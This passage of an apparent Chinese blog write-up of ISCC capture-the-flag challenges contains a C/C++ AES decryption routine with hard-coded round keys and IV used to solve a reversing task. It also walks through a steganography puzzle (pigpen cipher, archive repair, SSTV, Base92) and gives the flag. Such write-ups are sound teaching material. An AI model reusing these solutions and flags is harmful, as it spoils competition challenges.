                                0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
                                0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
                                0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
                                0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
                                0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
                                0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
                                0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
                                0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
                                0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
                                0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
                                0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
                                0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
                                0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
                                0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
                                0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d };
/**
 * 获取整形数据的低8位的左4个位
 */
static int getLeft4Bit(int num) {
    int left = num & 0x000000f0;
    return left >> 4;
}

/**
 * 获取整形数据的低8位的右4个位
 */
static int getRight4Bit(int num) {
    return num & 0x0000000f;
}
/**
 * 根据索引,从S盒中获得元素
 */
static int getNumFromSBox(int index) {
    int row = getLeft4Bit(index);
    int col = getRight4Bit(index);
    return S[row][col];
}

/**
 * 把一个字符转变成整型
 */
static int getIntFromChar(char c) {
    int result = (int) c;
    return result & 0x000000ff;
}

/**
 * 16个字符转变成4X4的数组,
 * 该矩阵中字节的排列顺序为从上到下,
 * 从左到右依次排列。
 */
static void convertToIntArray(char *str, int pa[4][4]) {
    int k = 0;
    unsigned char * pp = (unsigned char *)str;
    int i,j;
    for(i = 0; i < 4; i++)
        for(j = 0; j < 4; j++) {
            pa[j][i] = getIntFromChar(str[k]);
            k++;
        }
}

/**
 * 打印4X4的数组
 */
static void printArray(int a[4][4]) {
    int i,j;
    for(i = 0; i < 4; i++){
        for(j = 0; j < 4; j++)
            printf("%x ",  a[i][j]);
        printf("\n");
    }
    printf("\n");
}

/**
 * 打印字符串的ASSCI,
 * 以十六进制显示。
 */
static void printASSCI(char *str, int len) {
    int i;
    for(i = 0; i < len; i++)
        printf("0x%x ", getIntFromChar(str[i]));
    printf("\n");
}

/**
 * 把连续的4个字符合并成一个4字节的整型
 */
static int getWordFromStr(char *str) {
    int one, two, three, four;
    one = getIntFromChar(str[0]);
    one = one << 24;
    two = getIntFromChar(str[1]);
    two = two << 16;
    three = getIntFromChar(str[2]);
    three = three << 8;
    four = getIntFromChar(str[3]);
    return one | two | three | four;
}

/**
 * 把一个4字节的数的第一、二、三、四个字节取出,
 * 入进一个4个元素的整型数组里面。
 */
static void splitIntToArray(int num, int array[4]) {
    int one, two, three;
    one = num >> 24;
    array[0] = one & 0x000000ff;
    two = num >> 16;
    array[1] = two & 0x000000ff;
    three = num >> 8;
    array[2] = three & 0x000000ff;
    array[3] = num & 0x000000ff;
}

/**
 * 将数组中的元素循环左移step位
 */
static void leftLoop4int(int array[4], int step) {
    int temp[4];
    int i;
    int index;
    for(i = 0; i < 4; i++)
        temp[i] = array[i];

    index = step % 4 == 0 ? 0 : step % 4;
    for(i = 0; i < 4; i++){
        array[i] = temp[index];
        index++;
        index = index % 4;
    }
}

/**
 * 把数组中的第一、二、三和四元素分别作为
 * 4字节整型的第一、二、三和四字节,合并成一个4字节整型
 */
static int mergeArrayToInt(int array[4]) {
    int one = array[0] << 24;
    int two = array[1] << 16;
    int three = array[2] << 8;
    int four = array[3];
    return one | two | three | four;
}

/**
 * 常量轮值表
 */
static const unsigned int Rcon[10] = { 0x01000000, 0x02000000,
                              0x04000000, 0x08000000,
                              0x10000000, 0x20000000,
                              0x40000000, 0x80000000,
                              0x1b000000, 0x36000000 };
/**
 * 密钥扩展中的T函数
 */
static int T(int num, int round) {
    int numArray[4];
    int i;
    int result;
    splitIntToArray(num, numArray);
    leftLoop4int(numArray, 1);//字循环

    //字节代换
    for(i = 0; i < 4; i++)
        numArray[i] = getNumFromSBox(numArray[i]);

    result = mergeArrayToInt(numArray);
    return result ^ Rcon[round];
}

//密钥对应的扩展数组
static int w[44];
/**
 * 打印W数组
 */
static void printW() {
    int i, j;
    for(i = 0, j = 1; i < 44; i++,j++){
        printf("w[%d] = 0x%x ", i, w[i]);
        if(j % 4 == 0)
            printf("\n");
    }
    printf("\n");
}


/**
 * 扩展密钥,结果是把w[44]中的每个元素初始化
 */
static void extendKey(char *key) {
    int i,j;
    for(i = 0; i < 4; i++)
        w[i] = getWordFromStr(key + i * 4);

//    w[0] = 0x30373430;
//    w[1] = 0x63623964;
//    w[2] = 0x62383633;
//    w[3] = 0x636436F2;

    for(i = 4, j = 0; i < 44; i++) {
        if( i % 4 == 0) {
            w[i] = w[i - 4] ^ T(w[i - 1], j);
            j++;
        }else {
            w[i] = w[i - 4] ^ w[i - 1];
        }
    }

}

/**
 * 轮密钥加
 */
static void addRoundKey(int array[4][4], int round) {
    int warray[4];
    int i,j;
    for(i = 0; i < 4; i++) {

        splitIntToArray(w[ round * 4 + i], warray);

        for(j = 0; j < 4; j++) {
            //printf("%x \n", warray[j]);
            array[j][i] = array[j][i] ^ warray[j];
        }
    }
}

/**
 * 字节代换
 */
static void subBytes(int array[4][4]){
    int i,j;
    for(i = 0; i < 4; i++)
        for(j = 0; j < 4; j++)
            array[i][j] = getNumFromSBox(array[i][j]);
}

/**
 * 行移位
 */
static void shiftRows(int array[4][4]) {
    int rowTwo[4], rowThree[4], rowFour[4];
    int i;
    for(i = 0; i < 4; i++) {
        rowTwo[i] = array[1][i];
        rowThree[i] = array[2][i];
        rowFour[i] = array[3][i];
    }

    leftLoop4int(rowTwo, 1);
    leftLoop4int(rowThree, 2);
    leftLoop4int(rowFour, 3);

    for(i = 0; i < 4; i++) {
        array[1][i] = rowTwo[i];
        array[2][i] = rowThree[i];
        array[3][i] = rowFour[i];
    }
}

/**
 * 列混合要用到的矩阵
 */
static const int colM[4][4] = { 2, 3, 1, 1,
                                1, 2, 3, 1,
                                1, 1, 2, 3,
                                3, 1, 1, 2 };

static int GFMul2(int s) {
    int result = s << 1;
    int a7 = result & 0x00000100;

    if(a7 != 0) {
        result = result & 0x000000ff;
        result = result ^ 0x1b;
    }

    return result;
}

static int GFMul3(int s) {
    return GFMul2(s) ^ s;
}

static int GFMul4(int s) {
    return GFMul2(GFMul2(s));
}

static int GFMul8(int s) {
    return GFMul2(GFMul4(s));
}

static int GFMul9(int s) {
    return GFMul8(s) ^ s;
}

static int GFMul11(int s) {
    return GFMul9(s) ^ GFMul2(s);
}

static int GFMul12(int s) {
    return GFMul8(s) ^ GFMul4(s);
}

static int GFMul13(int s) {
    return GFMul12(s) ^ s;
}

static int GFMul14(int s) {
    return GFMul12(s) ^ GFMul2(s);
}

/**
 * GF上的二元运算
 */
static int GFMul(int n, int s) {
    int result;

    if(n == 1)
        result = s;
    else if(n == 2)
        result = GFMul2(s);
    else if(n == 3)
        result = GFMul3(s);
    else if(n == 0x9)
        result = GFMul9(s);
    else if(n == 0xb)//11
        result = GFMul11(s);
    else if(n == 0xd)//13
        result = GFMul13(s);
    else if(n == 0xe)//14
        result = GFMul14(s);

    return result;
}
/**
 * 列混合
 */
static void mixColumns(int array[4][4]) {

    int tempArray[4][4];
    int i,j;
    for(i = 0; i < 4; i++)
        for(j = 0; j < 4; j++)
            tempArray[i][j] = array[i][j];

    for(i = 0; i < 4; i++)
        for(j = 0; j < 4; j++){
            array[i][j] = GFMul(colM[i][0],tempArray[0][j]) ^ GFMul(colM[i][1],tempArray[1][j])
                          ^ GFMul(colM[i][2],tempArray[2][j]) ^ GFMul(colM[i][3], tempArray[3][j]);
        }
}
/**
 * 4X4数组转回字符串
 */
static void convertArrayToStr(int array[4][4], char *str) {
    int i,j;
    for(i = 0; i < 4; i++)
        for(j = 0; j < 4; j++)
            *str++ = (char)array[j][i];
}
/**
 * 检查密钥长度
 */
static int checkKeyLen(int len) {
    if(len == 16)
        return 1;
    else
        return 0;
}


/**
 * 根据索引从逆S盒中获取值
 */
static int getNumFromS1Box(int index) {
    int row = getLeft4Bit(index);
    int col = getRight4Bit(index);
    return S2[row][col];
}
/**
 * 逆字节变换
 */
static void deSubBytes(int array[4][4]) {
    int i,j;
    for(i = 0; i < 4; i++)
        for(j = 0; j < 4; j++)
            array[i][j] = getNumFromS1Box(array[i][j]);
}
/**
 * 4个元素的数组循环右移step位
 */
static void rightLoop4int(int array[4], int step) {
    int temp[4];
    int i;
    int index;
    for(i = 0; i < 4; i++)
        temp[i] = array[i];

    index = step % 4 == 0 ? 0 : step % 4;
    index = 3 - index;
    for(i = 3; i >= 0; i--) {
        array[i] = temp[index];
        index--;
        index = index == -1 ? 3 : index;
    }
}

/**
 * 逆行移位
 */
static void deShiftRows(int array[4][4]) {
    int rowTwo[4], rowThree[4], rowFour[4];
    int i;
    for(i = 0; i < 4; i++) {
        rowTwo[i] = array[1][i];
        rowThree[i] = array[2][i];
        rowFour[i] = array[3][i];
    }

    rightLoop4int(rowTwo, 1);
    rightLoop4int(rowThree, 2);
    rightLoop4int(rowFour, 3);

    for(i = 0; i < 4; i++) {
        array[1][i] = rowTwo[i];
        array[2][i] = rowThree[i];
        array[3][i] = rowFour[i];
    }
}
/**
 * 逆列混合用到的矩阵
 */
static const int deColM[4][4] = { 0xe, 0xb, 0xd, 0x9,
                                  0x9, 0xe, 0xb, 0xd,
                                  0xd, 0x9, 0xe, 0xb,
                                  0xb, 0xd, 0x9, 0xe };

/**
 * 逆列混合
 */
static void deMixColumns(int array[4][4]) {
    int tempArray[4][4];
    int i,j;
    for(i = 0; i < 4; i++)
        for(j = 0; j < 4; j++)
            tempArray[i][j] = array[i][j];

    for(i = 0; i < 4; i++)
        for(j = 0; j < 4; j++){
            array[i][j] = GFMul(deColM[i][0],tempArray[0][j]) ^ GFMul(deColM[i][1],tempArray[1][j])
                          ^ GFMul(deColM[i][2],tempArray[2][j]) ^ GFMul(deColM[i][3], tempArray[3][j]);
        }
}

/**
 * 把两个4X4数组进行异或
 */
static void addRoundTowArray(int aArray[4][4],int bArray[4][4]) {
    int i,j;
    for(i = 0; i < 4; i++)
        for(j = 0; j < 4; j++)
            aArray[i][j] = aArray[i][j] ^ bArray[i][j];
}
/**
 * 432位的密钥字中获得4X4数组,
 * 用于进行逆列混合
 */
static void getArrayFrom4W(int i, int array[4][4]) {
    int index,j;
    int colOne[4], colTwo[4], colThree[4], colFour[4];
    index = i * 4;
    splitIntToArray(w[index], colOne);
    splitIntToArray(w[index + 1], colTwo);
    splitIntToArray(w[index + 2], colThree);
    splitIntToArray(w[index + 3], colFour);

    for(j = 0; j < 4; j++) {
        array[j][0] = colOne[j];
        array[j][1] = colTwo[j];
        array[j][2] = colThree[j];
        array[j][3] = colFour[j];
    }

}

/**
 * 参数 c: 密文的字符串数组。
 * 参数 clen: 密文的长度。
 * 参数 key: 密钥的字符串数组。
 */
void deAes(char *c, int clen, char *key) {

    int cArray[4][4];
    int keylen,k;
    keylen = strlen(key);
    if(clen == 0 || clen % 16 != 0) {
        printf("密文字符长度必须为16的倍数!现在的长度为%d\n",clen);
        exit(0);
    }

    if(!checkKeyLen(keylen)) {
        printf("密钥字符长度错误!长度必须为16、24和32。当前长度为%d\n",keylen);
        exit(0);
    }

    extendKey(key);//扩展密钥

    for(k = 0; k < clen; k += 16) {
        int i;
        int wArray[4][4];

        convertToIntArray(c + k, cArray);





        addRoundKey(cArray, 10);

        for(i = 9; i >= 1; i--) {
            deSubBytes(cArray);

            deShiftRows(cArray);

            deMixColumns(cArray);
            getArrayFrom4W(i, wArray);
            deMixColumns(wArray);

            addRoundTowArray(cArray, wArray);
        }

        deSubBytes(cArray);

        deShiftRows(cArray);

        addRoundKey(cArray, 0);

        convertArrayToStr(cArray, c + k);

    }
}
/**
 * 参数 p: 明文的字符串数组。
 * 参数 plen: 明文的长度。
 * 参数 key: 密钥的字符串数组。
 */
void aes(char *p, int plen, char *key){

    int keylen = strlen(key);
    int pArray[4][4];
    int k,i;

    if(plen == 0 || plen % 16 != 0) {
        printf("明文字符长度必须为16的倍数!\n");
        exit(0);
    }

    if(!checkKeyLen(keylen)) {
        printf("密钥字符长度错误!长度必须为16。当前长度为%d\n",keylen);
        exit(0);
    }

    extendKey(key);//扩展密钥

    for(k = 0; k < plen; k += 16) {
        convertToIntArray(p + k, pArray);

        addRoundKey(pArray, 0);//一开始的轮密钥加

        for(i = 1; i < 10; i++){

            subBytes(pArray);//字节代换

            shiftRows(pArray);//行移位

            mixColumns(pArray);//列混合

            addRoundKey(pArray, i);

        }

        subBytes(pArray);//字节代换

        shiftRows(pArray);//行移位

        addRoundKey(pArray, 10);

        convertArrayToStr(pArray, p + k);
    }
}


void myAddRoundKey(int pArray[4][4], int roundKey[11][16], int r) {
    for(int i = 0; i < 4; i++) {
        for (int j = 0; j < 4; ++j) {
            pArray[i][j] ^= roundKey[r][i * 4 + j];
        }
    }
}

void swap(int &a, int &b) {
    int t;
    t = a;
    a = b;
    b = t;
}

void myshift(int pArray[4][4]) {
    int tmpArr[4][4] = {0};
    for (int rol = 0; rol < 4; rol++ ){
        for (int i = 0; i < 4; ++i) {
            tmpArr[(i + rol) % 4][rol] = pArray[i][rol];
        }
    }
    for (int i = 0; i < 4; ++i) {
        for (int j = 0; j < 4; ++j) {
            pArray[i][j] = tmpArr[i][j];
        }
    }
}

void mydeshift(int pArray[4][4]) {
    int tmpArr[4][4] = {0};
    for (int rol = 0; rol < 4; rol++ ){
        for (int i = 0; i < 4; ++i) {
            tmpArr[(i - rol + 4) % 4][rol] = pArray[i][rol];
        }
    }
    for (int i = 0; i < 4; ++i) {
        for (int j = 0; j < 4; ++j) {
            pArray[i][j] = tmpArr[i][j];
        }
    }
}


void myTranspose(int pArray[4][4]) {
    int tmpArr[4][4] = {0};
    for (int i = 0; i < 4; ++i) {
        for (int j = 0; j < 4; ++j) {
            tmpArr[i][j] = pArray[j][i];
        }
    }
    for (int i = 0; i < 4; ++i) {
        for (int j = 0; j < 4; ++j) {
            pArray[i][j] = tmpArr[i][j];
        }
    }
}


void my_aes_cbc( int *in_,  char * out_,  int * iv_) {
    int subkeys[11][16]  = {
            0x31, 0x62, 0x35, 0x63, 0x32, 0x31, 0x38, 0x61, 0x36, 0x38, 0x35, 0x39, 0x66, 0x63, 0x66, 0x32,
            0x03, 0x99, 0x06, 0x98, 0x31, 0xA8, 0x3E, 0xF9, 0x07, 0x90, 0x0B, 0xC0, 0x61, 0xF3, 0x6D, 0xF2,
            0xEE, 0x94, 0x3A, 0x95, 0xDF, 0x3C, 0x04, 0x6C, 0xD8, 0xAC, 0x0F, 0xAC, 0xB9, 0x5F, 0x62, 0x5E,
            0xBC, 0x5B, 0x90, 0x5A, 0x63, 0x67, 0x94, 0x36, 0xBB, 0xCB, 0x9B, 0x9A, 0x02, 0x94, 0xF9, 0xC4,
            0xC3, 0x79, 0x09, 0x78, 0xA0, 0x1E, 0x9D, 0x4E, 0x1B, 0xD5, 0x06, 0xD4, 0x19, 0x41, 0xFF, 0x10,
            0x07, 0xFA, 0x1F, 0xFB, 0xA7, 0xE4, 0x82, 0xB5, 0xBC, 0x31, 0x84, 0x61, 0xA5, 0x70, 0x7B, 0x71,
            0x21, 0xAB, 0x3E, 0xAA, 0x86, 0x4F, 0xBC, 0x1F, 0x3A, 0x7E, 0x38, 0x7E, 0x9F, 0x0E, 0x43, 0x0F,
            0xBA, 0x00, 0x24, 0x01, 0x3C, 0x4F, 0x98, 0x1E, 0x06, 0x31, 0xA0, 0x60, 0x99, 0x3F, 0xE3, 0x6F,
            0xD4, 0x75, 0x35, 0x74, 0xE8, 0x3A, 0xAD, 0x6A, 0xEE, 0x0B, 0x0D, 0x0A, 0x77, 0x34, 0xEE, 0x65,
            0x3A, 0x6D, 0x1D, 0x6C, 0xD2, 0x57, 0xB0, 0x06, 0x3C, 0x5C, 0xBD, 0x0C, 0x4B, 0x68, 0x53, 0x69,
            0xBF, 0x28, 0xF0, 0x29, 0x6D, 0x7F, 0x40, 0x2F, 0x51, 0x23, 0xFD, 0x23, 0x1A, 0x4B, 0xAE, 0x4A
    };
    int iv[4][4] = {0xDE, 0xAD, 0xBE, 0xEF, 0xCD, 0xDE, 0xAD, 0xBE, 0xEF, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xAA};
    int pArray[4][4] = {143, 217, 87, 27, 63, 222, 90, 206, 34, 56, 58, 199, 129, 54, 208, 101};
    //convertToIntArray(in_, pArray);
    memcpy(pArray, (void *)in_, 16 * 4);
    memcpy(iv, (void *)iv_, 16 * 4);
   // convertToIntArray(iv_, iv);

    printArray(pArray);

    printf("start decrypt\n");
    myAddRoundKey(pArray, subkeys, 10);
    for(int i = 9; i >= 1; i--) {
        mydeshift(pArray);
        deSubBytes(pArray);

        printf("round %d end:\n", i);
        printArray(pArray);

        myAddRoundKey(pArray, subkeys, i);



        myTranspose(pArray);
        deMixColumns(pArray);//列混合
        myTranspose(pArray);

    }

    mydeshift(pArray);
    deSubBytes(pArray);
    myAddRoundKey(pArray, subkeys, 0);

    for (int i = 0; i < 4; i++) {
        for (int j = 0; j < 4; ++j) {
            pArray[i][j] ^= iv[i][j];
        }
    }
    printf("result:\n");
    printArray(pArray);
    for(int i = 0; i < 4; i++){
        for (int j = 0; j < 4; ++j) {
            out_[i * 4 + j] = pArray[i][j];
        }
    }
}


int main(int argc, char const *argv[])
{
    int myiv[] = {0xDE, 0xAD, 0xBE, 0xEF, 0xCD, 0xDE, 0xAD, 0xBE, 0xEF, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xAA};
    int data[] = {143, 217, 87, 27, 63, 222, 90, 206, 34, 56, 58, 199, 129, 54, 208, 101, 219, 87, 151, 84, 99, 59, 205, 133, 66, 20, 128, 13, 168, 241, 214, 244, 77, 159, 13, 141, 32, 4, 143, 255, 105, 178, 73, 189, 131, 170, 104, 33};
    unsigned char data_out[49] = {0};
    for(int i = 0; i < 3; i++){
        my_aes_cbc(&data[16 * i], (char *)&data_out[16 * i], myiv);
        memcpy(myiv, &data[16 * i], 16 * 4);

    }
    printf("%s", data_out);
}




运行解密得:
在这里插入图片描述

擂台题

MISC

世间套娃与你环环相扣

解压压缩包得到三个文件:
在这里插入图片描述
先分析图片文件,winhex一顿操作,没发现东西
在这里插入图片描述
于是打开txt文件,看到一堆字符不知道干什么的:

0310172431040506070809-S24S-M01081520-0411182530-230929-SMTWTFS-0721241007-2518110410.13-T0826.10-MTWTF2420M.15-310309-M2227-0620230906

但文件名提示这是密码,数了数一共十三组字符串块,以-隔开,对照图片,画出图形,其中数字代表日期,字母代表星期的首字母,其中有一个干扰项,去掉后正好对应十二个月份:
在这里插入图片描述
在这里插入图片描述
明显是猪圈密码,对照下面的表解出密码ISCCVERYNICE
在这里插入图片描述
解压压缩包,但打不开报错,winhex分析
在这里插入图片描述
是个7z压缩的zip文件,里面是一个rar文件,利用winrar修复,得到如下可正常打开的文件:

在这里插入图片描述
在这里插入图片描述

先看看图片,winhex打开,修复图片CRC,直接改高度出现一个链接

在这里插入图片描述
打开链接,需要输入密码
回到3pm文件,3pm应该是MP3文件,自己命个名,利用Audacity没分析出来,这里应该用SSTV慢扫描:
具体使用过程SSTV-CTF
在这里插入图片描述
得到2jrl应该是密码,输入获取文件
在这里插入图片描述

Base92解密得到flag

ISCC{NobodyKnowsTaoWaThanMe!!!}
  • 7
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 8
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值